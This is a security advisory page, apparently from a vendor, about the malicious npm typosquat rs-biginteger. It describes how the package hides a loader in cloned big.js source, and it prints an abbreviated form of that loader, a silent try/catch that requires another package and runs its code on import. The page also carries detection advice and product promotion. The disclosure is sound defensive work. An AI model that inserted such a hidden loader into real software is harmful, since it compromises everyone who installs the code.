rs-bigintegernpm
rs-biginteger is a confirmed malicious npm package (MAL-2026-6675) that typosquats a legitimate package to trick installs (malicious versions 6.1.3, 6.1.5). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in rs-biginteger (npm)
What this malware does
Package presents itself as a big-integer arithmetic library and ships the verbatim big.js v7.0.1 source plus its README. Injected between the P.minus and P.mod method definitions in both big.js and big.mjs is a loader: try { const doc = require("ts-lint-builders"); doc.from_str().then(...) } catch (error) {}. On every require('rs-biginteger') / ESM import, the module top-level resolves ts-lint-builders and invokes its from_str() function, executing third-party code chosen by this author at load time. The package's declared dependency is [email protected] — a name mismatch with the require target, indicating the attacker controls the resolution path into the installer's dependency graph. The empty try/catch silently swallows any failure, concealing the behavior from casual inspection. The loader's placement mid-file inside cloned legitimate source, the cover-story package name impersonating big.js/big-integer, the duplicated payload in both CommonJS and ESM entry points, and the silent error swallowing are deliberate evasion patterns. Installers expecting a pure-math library instead load and execute arbitrary attacker-chosen code on every import.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
TyposquatFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for rs-biginteger (2 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging rs-biginteger across your stack and pipelines.
If you installed it — respond
rs-biginteger is a typosquat — you almost certainly intended a legitimately-named package. Remove rs-biginteger, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If rs-biginteger was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks rs-biginteger before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks rs-biginteger-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.